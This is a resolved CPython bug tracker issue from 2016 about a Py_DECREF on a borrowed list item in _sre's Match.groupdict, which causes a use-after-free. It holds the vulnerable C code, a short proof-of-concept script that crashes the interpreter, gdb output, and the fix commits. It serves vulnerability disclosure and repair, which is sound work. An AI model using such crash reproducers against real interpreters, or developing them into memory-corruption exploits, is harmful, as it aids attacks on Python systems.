classification
Title: Py_DECREF on a non-owned object in _sre
Type: security Stage: resolved
Components: Versions: Python 3.6, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 2.7
process
Status: closed Resolution: fixed
Dependencies: Superseder:
Assigned To: Nosy List: benjamin.peterson, python-dev
Priority: normal Keywords:

Created on 2016-08-16 05:00 by benjamin.peterson, last changed 2016-08-16 05:05 by python-dev. This issue is now closed.

Messages (2)
msg272831 - (view) Author: Benjamin Peterson (benjamin.peterson) * (Python committer) Date: 2016-08-16 05:00
Thomas E Hybel reports:

This vulnerability exists in the function _sre_SRE_Match_groupdict_impl which
resides in the /Modules/_sre.c file.

The problem is that the code calls Py_DECREF(key); without having done a
corresponding Py_INCREF on the key.

Here's the relevant code:

    static PyObject *
    _sre_SRE_Match_groupdict_impl(MatchObject *self, PyObject *default_value)
    {
        ...
        for (index = 0; index < PyList_GET_SIZE(keys); index++) {
            ...
            PyObject* key;
            ...
            key = PyList_GET_ITEM(keys, index);
            ...
            value = match_getslice(self, key, default_value);
            if (!value) {
                Py_DECREF(key);
                goto failed;
            }
            ...
        }
        ...
    }

We initialize the "key" variable via PyList_GET_ITEM(keys, index) which simply
takes keys->ob_item[index]. There is no increase in reference count.

If match_getslice fails, we then call Py_DECREF(key). This is simply wrong. It
will result in the key object getting freed prematurely, leading to
use-after-free scenarios.

Here's a script which reproduces this:

--- begin script ---

import _sre
import time

p = _sre.compile(
    "A",                # pattern
    0,                  # flags
    [1],                # code
    1,                  # groups
    {0xdeadbeef: 0},    # groupindex
    0                   # indexgroup
)  

m = p.match("AAAA")

for _ in range(5):
    # each call to m.groupdict decreases the refcount of 0xdeadbeef once
    try:
        m.groupdict()
    except IndexError:
        pass
       
--- end script ---

Running the script crashes python on my machine:

(gdb) r ./poc7.py
Starting program: /home/xx/Python-3.5.2/python ./poc7.py

Program received signal SIGSEGV, Segmentation fault.
0x0000000000567d71 in match_getindex (self=self@entry=0x7ffff7e2da18, index=index@entry=0x7ffff6d582c0)
    at ./Modules/_sre.c:2055
2055        if (PyLong_Check(index))
(gdb) bt
#0  0x0000000000567d71 in match_getindex (self=self@entry=0x7ffff7e2da18, index=index@entry=0x7ffff6d582c0)
    at ./Modules/_sre.c:2055
#1  0x0000000000568946 in match_getslice (self=self@entry=0x7ffff7e2da18, index=index@entry=0x7ffff6d582c0,
    def=def@entry=0x8831c0 <_Py_NoneStruct>) at ./Modules/_sre.c:2076
#2  0x0000000000568a99 in _sre_SRE_Match_groupdict_impl (self=self@entry=0x7ffff7e2da18,
    default_value=0x8831c0 <_Py_NoneStruct>) at ./Modules/_sre.c:2198
#3  0x0000000000568bc5 in _sre_SRE_Match_groupdict (self=0x7ffff7e2da18, args=<optimized out>,
    kwargs=<optimized out>) at ./Modules/clinic/_sre.c.h:518
msg272833 - (view) Author: Roundup Robot (python-dev) (Python triager) Date: 2016-08-16 05:05
New changeset 4ca84a3e37d7 by Benjamin Peterson in branch '2.7':
do not decref value borrowed from list (closes #27774)
https://hg.python.org/cpython/rev/4ca84a3e37d7

New changeset cbf2a05648b3 by Benjamin Peterson in branch '3.3':
do not decref value borrowed from list (closes #27774)
https://hg.python.org/cpython/rev/cbf2a05648b3

New changeset 2e404ac88e0e by Benjamin Peterson in branch '3.4':
merge 3.3 (#27774)
https://hg.python.org/cpython/rev/2e404ac88e0e

New changeset 424cb9482974 by Benjamin Peterson in branch '3.5':
merge 3.4 (#27774)
https://hg.python.org/cpython/rev/424cb9482974

New changeset 64b0e0a29874 by Benjamin Peterson in branch 'default':
merge 3.5 (#27774)
https://hg.python.org/cpython/rev/64b0e0a29874
History
Date User Action Args
2016-08-16 05:05:31python-devsetstatus: open -> closed

nosy: + python-dev
messages: + msg272833

resolution: fixed
stage: resolved
2016-08-16 05:00:44benjamin.petersoncreate